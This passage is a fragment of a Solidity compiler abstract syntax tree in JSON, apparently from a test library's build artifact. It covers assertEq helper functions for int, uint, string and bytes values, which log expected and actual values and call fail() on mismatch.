decimal"},"id":2554,"name":"Literal","src":"3025:34:0"}],"id":2555,"name":"FunctionCall","src":"3013:47:0"}],"id":2556,"name":"EmitStatement","src":"3008:52:0"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_42fa07d7c51ce5de92a0fc65dbf7e7800814fd01c258dc50e84d5be59184bf0b","typeString":"literal_string \" Expected\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"overloadedDeclarations":[null],"referencedDeclaration":2347,"type":"function (bytes32,uint256,uint256)","value":"log_named_decimal_uint"},"id":2557,"name":"Identifier","src":"3079:22:0"},{"attributes":{"hexvalue":"20204578706563746564","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \" Expected\"","value":" Expected"},"id":2558,"name":"Literal","src":"3102:12:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2545,"type":"uint256","value":"b"},"id":2559,"name":"Identifier","src":"3116:1:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2547,"type":"uint256","value":"decimals"},"id":2560,"name":"Identifier","src":"3119:8:0"}],"id":2561,"name":"FunctionCall","src":"3079:49:0"}],"id":2562,"name":"EmitStatement","src":"3074:54:0"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d7896f3f645b3ba89da46bf231a5df16e525e587a84bc9b284dfb39958fb219b","typeString":"literal_string \" Actual\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"overloadedDeclarations":[null],"referencedDeclaration":2347,"type":"function (bytes32,uint256,uint256)","value":"log_named_decimal_uint"},"id":2563,"name":"Identifier","src":"3147:22:0"},{"attributes":{"hexvalue":"2020202041637475616c","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \" Actual\"","value":" Actual"},"id":2564,"name":"Literal","src":"3170:12:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2543,"type":"uint256","value":"a"},"id":2565,"name":"Identifier","src":"3184:1:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2547,"type":"uint256","value":"decimals"},"id":2566,"name":"Identifier","src":"3187:8:0"}],"id":2567,"name":"FunctionCall","src":"3147:49:0"}],"id":2568,"name":"EmitStatement","src":"3142:54:0"},{"children":[{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"overloadedDeclarations":[null],"referencedDeclaration":2385,"type":"function ()","value":"fail"},"id":2569,"name":"Identifier","src":"3210:4:0"}],"id":2570,"name":"FunctionCall","src":"3210:6:0"}],"id":2571,"name":"ExpressionStatement","src":"3210:6:0"}],"id":2572,"name":"Block","src":"2994:233:0"}],"id":2573,"name":"IfStatement","src":"2982:245:0"}],"id":2574,"name":"Block","src":"2972:261:0"}],"id":2575,"name":"FunctionDefinition","src":"2907:326:0"},{"attributes":{"implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"assertEq","scope":2747,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},"children":[{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"a","scope":2605,"stateVariable":false,"storageLocation":"default","type":"int256","visibility":"internal"},"children":[{"attributes":{"name":"int","type":"int256"},"id":2576,"name":"ElementaryTypeName","src":"3257:3:0"}],"id":2577,"name":"VariableDeclaration","src":"3257:5:0"},{"attributes":{"constant":false,"mutability":"mutable","name":"b","scope":2605,"stateVariable":false,"storageLocation":"default","type":"int256","visibility":"internal"},"children":[{"attributes":{"name":"int","type":"int256"},"id":2578,"name":"ElementaryTypeName","src":"3264:3:0"}],"id":2579,"name":"VariableDeclaration","src":"3264:5:0"}],"id":2580,"name":"ParameterList","src":"3256:14:0"},{"attributes":{"parameters":[null]},"children":[],"id":2581,"name":"ParameterList","src":"3280:0:0"},{"children":[{"attributes":{},"children":[{"attributes":{"commonType":{"typeIdentifier":"t_int256","typeString":"int256"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"!=","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2577,"type":"int256","value":"a"},"id":2582,"name":"Identifier","src":"3294:1:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2579,"type":"int256","value":"b"},"id":2583,"name":"Identifier","src":"3299:1:0"}],"id":2584,"name":"BinaryOperation","src":"3294:6:0"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c0e0094956790811a39df9244ceea912ebe74c30705441d571c418fb1519f880","typeString":"literal_string \"Error: Wrong `int' value\""}],"overloadedDeclarations":[null],"referencedDeclaration":2319,"type":"function (bytes32)","value":"log_bytes32"},"id":2585,"name":"Identifier","src":"3321:11:0"},{"attributes":{"hexvalue":"4572726f723a2057726f6e672060696e74272076616c7565","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Error: Wrong `int' value\"","value":"Error: Wrong `int' value"},"id":2586,"name":"Literal","src":"3333:26:0"}],"id":2587,"name":"FunctionCall","src":"3321:39:0"}],"id":2588,"name":"EmitStatement","src":"3316:44:0"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_42fa07d7c51ce5de92a0fc65dbf7e7800814fd01c258dc50e84d5be59184bf0b","typeString":"literal_string \" Expected\""},{"typeIdentifier":"t_int256","typeString":"int256"}],"overloadedDeclarations":[null],"referencedDeclaration":2353,"type":"function (bytes32,int256)","value":"log_named_int"},"id":2589,"name":"Identifier","src":"3379:13:0"},{"attributes":{"hexvalue":"20204578706563746564","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \" Expected\"","value":" Expected"},"id":2590,"name":"Literal","src":"3393:12:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2579,"type":"int256","value":"b"},"id":2591,"name":"Identifier","src":"3407:1:0"}],"id":2592,"name":"FunctionCall","src":"3379:30:0"}],"id":2593,"name":"EmitStatement","src":"3374:35:0"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d7896f3f645b3ba89da46bf231a5df16e525e587a84bc9b284dfb39958fb219b","typeString":"literal_string \" Actual\""},{"typeIdentifier":"t_int256","typeString":"int256"}],"overloadedDeclarations":[null],"referencedDeclaration":2353,"type":"function (bytes32,int256)","value":"log_named_int"},"id":2594,"name":"Identifier","src":"3428:13:0"},{"attributes":{"hexvalue":"2020202041637475616c","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \" Actual\"","value":" Actual"},"id":2595,"name":"Literal","src":"3442:12:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2577,"type":"int256","value":"a"},"id":2596,"name":"Identifier","src":"3456:1:0"}],"id":2597,"name":"FunctionCall","src":"3428:30:0"}],"id":2598,"name":"EmitStatement","src":"3423:35:0"},{"children":[{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"overloadedDeclarations":[null],"referencedDeclaration":2385,"type":"function ()","value":"fail"},"id":2599,"name":"Identifier","src":"3472:4:0"}],"id":2600,"name":"FunctionCall","src":"3472:6:0"}],"id":2601,"name":"ExpressionStatement","src":"3472:6:0"}],"id":2602,"name":"Block","src":"3302:187:0"}],"id":2603,"name":"IfStatement","src":"3290:199:0"}],"id":2604,"name":"Block","src":"3280:215:0"}],"id":2605,"name":"FunctionDefinition","src":"3239:256:0"},{"attributes":{"implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"assertEq","scope":2747,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},"children":[{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"a","scope":2635,"stateVariable":false,"storageLocation":"default","type":"uint256","visibility":"internal"},"children":[{"attributes":{"name":"uint","type":"uint256"},"id":2606,"name":"ElementaryTypeName","src":"3519:4:0"}],"id":2607,"name":"VariableDeclaration","src":"3519:6:0"},{"attributes":{"constant":false,"mutability":"mutable","name":"b","scope":2635,"stateVariable":false,"storageLocation":"default","type":"uint256","visibility":"internal"},"children":[{"attributes":{"name":"uint","type":"uint256"},"id":2608,"name":"ElementaryTypeName","src":"3527:4:0"}],"id":2609,"name":"VariableDeclaration","src":"3527:6:0"}],"id":2610,"name":"ParameterList","src":"3518:16:0"},{"attributes":{"parameters":[null]},"children":[],"id":2611,"name":"ParameterList","src":"3544:0:0"},{"children":[{"attributes":{},"children":[{"attributes":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"!=","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2607,"type":"uint256","value":"a"},"id":2612,"name":"Identifier","src":"3558:1:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2609,"type":"uint256","value":"b"},"id":2613,"name":"Identifier","src":"3563:1:0"}],"id":2614,"name":"BinaryOperation","src":"3558:6:0"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_bfbe400f0ae367554cceb37d37e739b2ad5bf3dd93d1335f79b96bfc81492419","typeString":"literal_string \"Error: Wrong `uint' value\""}],"overloadedDeclarations":[null],"referencedDeclaration":2319,"type":"function (bytes32)","value":"log_bytes32"},"id":2615,"name":"Identifier","src":"3585:11:0"},{"attributes":{"hexvalue":"4572726f723a2057726f6e67206075696e74272076616c7565","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Error: Wrong `uint' value\"","value":"Error: Wrong `uint' value"},"id":2616,"name":"Literal","src":"3597:27:0"}],"id":2617,"name":"FunctionCall","src":"3585:40:0"}],"id":2618,"name":"EmitStatement","src":"3580:45:0"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_42fa07d7c51ce5de92a0fc65dbf7e7800814fd01c258dc50e84d5be59184bf0b","typeString":"literal_string \" Expected\""},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"overloadedDeclarations":[null],"referencedDeclaration":2359,"type":"function (bytes32,uint256)","value":"log_named_uint"},"id":2619,"name":"Identifier","src":"3644:14:0"},{"attributes":{"hexvalue":"20204578706563746564","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \" Expected\"","value":" Expected"},"id":2620,"name":"Literal","src":"3659:12:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2609,"type":"uint256","value":"b"},"id":2621,"name":"Identifier","src":"3673:1:0"}],"id":2622,"name":"FunctionCall","src":"3644:31:0"}],"id":2623,"name":"EmitStatement","src":"3639:36:0"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d7896f3f645b3ba89da46bf231a5df16e525e587a84bc9b284dfb39958fb219b","typeString":"literal_string \" Actual\""},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"overloadedDeclarations":[null],"referencedDeclaration":2359,"type":"function (bytes32,uint256)","value":"log_named_uint"},"id":2624,"name":"Identifier","src":"3694:14:0"},{"attributes":{"hexvalue":"2020202041637475616c","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \" Actual\"","value":" Actual"},"id":2625,"name":"Literal","src":"3709:12:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2607,"type":"uint256","value":"a"},"id":2626,"name":"Identifier","src":"3723:1:0"}],"id":2627,"name":"FunctionCall","src":"3694:31:0"}],"id":2628,"name":"EmitStatement","src":"3689:36:0"},{"children":[{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"overloadedDeclarations":[null],"referencedDeclaration":2385,"type":"function ()","value":"fail"},"id":2629,"name":"Identifier","src":"3739:4:0"}],"id":2630,"name":"FunctionCall","src":"3739:6:0"}],"id":2631,"name":"ExpressionStatement","src":"3739:6:0"}],"id":2632,"name":"Block","src":"3566:190:0"}],"id":2633,"name":"IfStatement","src":"3554:202:0"}],"id":2634,"name":"Block","src":"3544:218:0"}],"id":2635,"name":"FunctionDefinition","src":"3501:261:0"},{"attributes":{"implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"assertEq","scope":2747,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},"children":[{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"a","scope":2675,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":2636,"name":"ElementaryTypeName","src":"3786:6:0"}],"id":2637,"name":"VariableDeclaration","src":"3786:15:0"},{"attributes":{"constant":false,"mutability":"mutable","name":"b","scope":2675,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":2638,"name":"ElementaryTypeName","src":"3803:6:0"}],"id":2639,"name":"VariableDeclaration","src":"3803:15:0"}],"id":2640,"name":"ParameterList","src":"3785:34:0"},{"attributes":{"parameters":[null]},"children":[],"id":2641,"name":"ParameterList","src":"3829:0:0"},{"children":[{"attributes":{},"children":[{"attributes":{"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"!=","type":"bool"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"bytes32","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"overloadedDeclarations":[null],"referencedDeclaration":-8,"type":"function (bytes memory) pure returns (bytes32)","value":"keccak256"},"id":2642,"name":"Identifier","src":"3843:9:0"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"bytes memory","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"member_name":"encodePacked","type":"function () pure returns (bytes memory)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-1,"type":"abi","value":"abi"},"id":2643,"name":"Identifier","src":"3853:3:0"}],"id":2644,"name":"MemberAccess","src":"3853:16:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2637,"type":"string memory","value":"a"},"id":2645,"name":"Identifier","src":"3870:1:0"}],"id":2646,"name":"FunctionCall","src":"3853:19:0"}],"id":2647,"name":"FunctionCall","src":"3843:30:0"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"bytes32","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"overloadedDeclarations":[null],"referencedDeclaration":-8,"type":"function (bytes memory) pure returns (bytes32)","value":"keccak256"},"id":2648,"name":"Identifier","src":"3877:9:0"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"bytes memory","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"member_name":"encodePacked","type":"function () pure returns (bytes memory)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-1,"type":"abi","value":"abi"},"id":2649,"name":"Identifier","src":"3887:3:0"}],"id":2650,"name":"MemberAccess","src":"3887:16:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2639,"type":"string memory","value":"b"},"id":2651,"name":"Identifier","src":"3904:1:0"}],"id":2652,"name":"FunctionCall","src":"3887:19:0"}],"id":2653,"name":"FunctionCall","src":"3877:30:0"}],"id":2654,"name":"BinaryOperation","src":"3843:64:0"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_83c5224f04ac35424460a8e03b6f9e3ab1e4093e7c35cb1f35d09462d9097c2b","typeString":"literal_string \"Error: Wrong `string' value\""}],"overloadedDeclarations":[null],"referencedDeclaration":2319,"type":"function (bytes32)","value":"log_bytes32"},"id":2655,"name":"Identifier","src":"3928:11:0"},{"attributes":{"hexvalue":"4572726f723a2057726f6e672060737472696e67272076616c7565","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Error: Wrong `string' value\"","value":"Error: Wrong `string' value"},"id":2656,"name":"Literal","src":"3940:29:0"}],"id":2657,"name":"FunctionCall","src":"3928:42:0"}],"id":2658,"name":"EmitStatement","src":"3923:47:0"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_42fa07d7c51ce5de92a0fc65dbf7e7800814fd01c258dc50e84d5be59184bf0b","typeString":"literal_string \" Expected\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"overloadedDeclarations":[null],"referencedDeclaration":2365,"type":"function (bytes32,string memory)","value":"log_named_string"},"id":2659,"name":"Identifier","src":"3989:16:0"},{"attributes":{"hexvalue":"20204578706563746564","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \" Expected\"","value":" Expected"},"id":2660,"name":"Literal","src":"4006:12:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2639,"type":"string memory","value":"b"},"id":2661,"name":"Identifier","src":"4020:1:0"}],"id":2662,"name":"FunctionCall","src":"3989:33:0"}],"id":2663,"name":"EmitStatement","src":"3984:38:0"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d7896f3f645b3ba89da46bf231a5df16e525e587a84bc9b284dfb39958fb219b","typeString":"literal_string \" Actual\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"overloadedDeclarations":[null],"referencedDeclaration":2365,"type":"function (bytes32,string memory)","value":"log_named_string"},"id":2664,"name":"Identifier","src":"4041:16:0"},{"attributes":{"hexvalue":"2020202041637475616c","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \" Actual\"","value":" Actual"},"id":2665,"name":"Literal","src":"4058:12:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2637,"type":"string memory","value":"a"},"id":2666,"name":"Identifier","src":"4072:1:0"}],"id":2667,"name":"FunctionCall","src":"4041:33:0"}],"id":2668,"name":"EmitStatement","src":"4036:38:0"},{"children":[{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"overloadedDeclarations":[null],"referencedDeclaration":2385,"type":"function ()","value":"fail"},"id":2669,"name":"Identifier","src":"4088:4:0"}],"id":2670,"name":"FunctionCall","src":"4088:6:0"}],"id":2671,"name":"ExpressionStatement","src":"4088:6:0"}],"id":2672,"name":"Block","src":"3909:196:0"}],"id":2673,"name":"IfStatement","src":"3839:266:0"}],"id":2674,"name":"Block","src":"3829:282:0"}],"id":2675,"name":"FunctionDefinition","src":"3768:343:0"},{"attributes":{"implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"assertEq0","scope":2747,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},"children":[{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"a","scope":2746,"stateVariable":false,"storageLocation":"memory","type":"bytes","visibility":"internal"},"children":[{"attributes":{"name":"bytes","type":"bytes"},"id":2676,"name":"ElementaryTypeName","src":"4136:5:0"}],"id":2677,"name":"VariableDeclaration","src":"4136:14:0"},{"attributes":{"constant":false,"mutability":"mutable","name":"b","scope":2746,"stateVariable":false,"storageLocation":"memory","type":"bytes","visibility":"internal"},"children":[{"attributes":{"name":"bytes","type":"bytes"},"id":2678,"name":"ElementaryTypeName","src":"4152:5:0"}],"id":2679,"name":"VariableDeclaration","src":"4152:14:0"}],"id":2680,"name":"ParameterList","src":"4135:32:0"},{"attributes":{"parameters":[null]},"children":[],"id":2681,"name":"ParameterList","src":"4177:0:0"},{"children":[{"attributes":{"assignments":[2683]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"ok","scope":2745,"stateVariable":false,"storageLocation":"default","type":"bool","visibility":"internal"},"children":[{"attributes":{"name":"bool","type":"bool"},"id":2682,"name":"ElementaryTypeName","src":"4187:4:0"}],"id":2683,"name":"VariableDeclaration","src":"4187:7:0"},{"attributes":{"hexvalue":"74727565","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"bool","type":"bool","value":"true"},"id":2684,"name":"Literal","src":"4197:4:0"}],"id":2685,"name":"VariableDeclarationStatement","src":"4187:14:0"},{"children":[{"attributes":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"length","type":"uint256"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2677,"type":"bytes memory","value":"a"},"id":2686,"name":"Identifier","src":"4216:1:0"}],"id":2687,"name":"MemberAccess","src":"4216:8:0"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"length","type":"uint256"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2679,"type":"bytes memory","value":"b"},"id":2688,"name":"Identifier","src":"4228:1:0"}],"id":2689,"name":"MemberAccess","src":"4228:8:0"}],"id":2690,"name":"BinaryOperation","src":"4216:20:0"},{"children":[{"children":[{"attributes":{"assignments":[2692]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"i","scope":2716,"stateVariable":false,"storageLocation":"default","type":"uint256","visibility":"internal"},"children":[{"attributes":{"name":"uint","type":"uint256"},"id":2691,"name":"ElementaryTypeName","src":"4257:4:0"}],"id":2692,"name":"VariableDeclaration","src":"4257:6:0"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":2693,"name":"Literal","src":"4266:1:0"}],"id":2694,"name":"VariableDeclarationStatement","src":"4257:10:0"},{"attributes":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"<","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2692,"type":"uint256","value":"i"},"id":2695,"name":"Identifier","src":"4269:1:0"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"length","type":"uint256"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2677,"type":"bytes memory","value":"a"},"id":2696,"name":"Identifier","src":"4273:1:0"}],"id":2697,"name":"MemberAccess","src":"4273:8:0"}],"id":2698,"name":"BinaryOperation","src":"4269:12:0"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"++","prefix":false,"type":"uint256"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2692,"type":"uint256","value":"i"},"id":2699,"name":"Identifier","src":"4283:1:0"}],"id":2700,"name":"UnaryOperation","src":"4283:3:0"}],"id":2701,"name":"ExpressionStatement","src":"4283:3:0"},{"children":[{"attributes":{},"children":[{"attributes":{"commonType":{"typeIdentifier":"t_bytes1","typeString":"bytes1"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"!=","type":"bool"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"bytes1"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2677,"type":"bytes memory","value":"a"},"id":2702,"name":"Identifier","src":"4310:1:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2692,"type":"uint256","value":"i"},"id":2703,"name":"Identifier","src":"4312:1:0"}],"id":2704,"name":"IndexAccess","src":"4310:4:0"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"bytes1"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2679,"type":"bytes memory","value":"b"},"id":2705,"name":"Identifier","src":"4318:1:0"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2692,"type":"uint256","value":"i"},"id":2706,"name":"Identifier","src":"4320:1:0"}],"id":2707,"name":"IndexAccess","src":"4318:4:0"}],"id":2708,"name":"BinaryOperation","src":"4310:12:0"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2683,"type":"bool","value":"ok"},"id":2709,"name":"Identifier","src":"4346:2:0"},{"attributes":{"hexvalue":"66616c7365","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"bool","type":"bool","value":"false"},"id":2710,"name":"Literal","src":"4351:5:0"}],"id":2711,"name":"Assignment","src":"4346:10:0"}],"id":2712,"name":"ExpressionStatement","src":"4346:10:0"}],"id":2713,"name":"Block","src":"4324:51:0"}],"id":2714,"name":"IfStatement","src":"4306:69:0"}],"id":2715,"name":"Block","src":"4288:101:0"}],"id":2716,"name":"ForStatement","src":"4252:137:0"}],"id":2717,"name":"Block","src":"4238:161:0"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2683,"type":"bool","value":"ok"},"id":2718,"name":"Identifier","src":"4419:2:0"},{"attributes":{"hexvalue":"66616c7365","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"bool","type":"bool","value":"false"},"id":2719,"name":"Literal","src":"4424:5:0"}],"id":2720,"name":"Assignment","src":"4419:10:0"}],"id":2721,"name":"ExpressionStatement","src":"4419:10:0"}],"id":2722,"name":"Block","src":"4405:35:0"}],"id":2723,"name":"IfStatement","src":"4212:228:0"},{"attributes":{},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"!","prefix":true,"type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2683,"type":"bool","value":"ok"},"id":2724,"name":"Identifier","src":"4455:2:0"}],"id":2725,"name":"UnaryOperation","src":"4454:3:0"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e13dabfba084146b128f33bac7ab7d52568f6e7fa7ec354ce8b34aa003052cf3","typeString":"literal_string \"Error: Wrong `bytes' value\""}],"overloadedDeclarations":[null],"referencedDeclaration":2319,"type":"function 